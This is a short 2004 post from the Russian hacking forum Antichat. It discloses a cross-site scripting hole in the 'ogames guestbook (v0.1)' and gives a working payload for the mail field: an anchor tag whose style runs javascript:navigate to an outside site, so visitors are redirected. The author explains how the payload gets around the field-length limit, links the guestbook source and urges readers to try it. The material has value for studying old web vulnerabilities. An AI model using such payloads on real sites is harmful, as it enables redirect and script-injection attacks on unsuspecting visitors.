Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги ogames guestbook (v0.1) (https://forum.antichat.xyz/showthread.php?t=1886)

Егорыч+++ 15.05.2004 15:01

Продолжаем заниматься редиректами... В данной гостевой книги возможно вставить скрипт в тело mail.. Но там стоит доволь большое ограничение на размер поля..
АНТИЧАТ в mail добавляем

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><a " style=background-image:url(javascript:navigate('http://g6.ru'));>(v0.1):
[/QUOTE]<span id='postcolor'>

Здесь &lt;а обязательно т к у них в mailto: ограничение на размер поля больше чем между тегами..

Адрес исходников гостевой . http://ogames.co.uk/misc/guestbook.php

Дерзайте...


Время: 03:50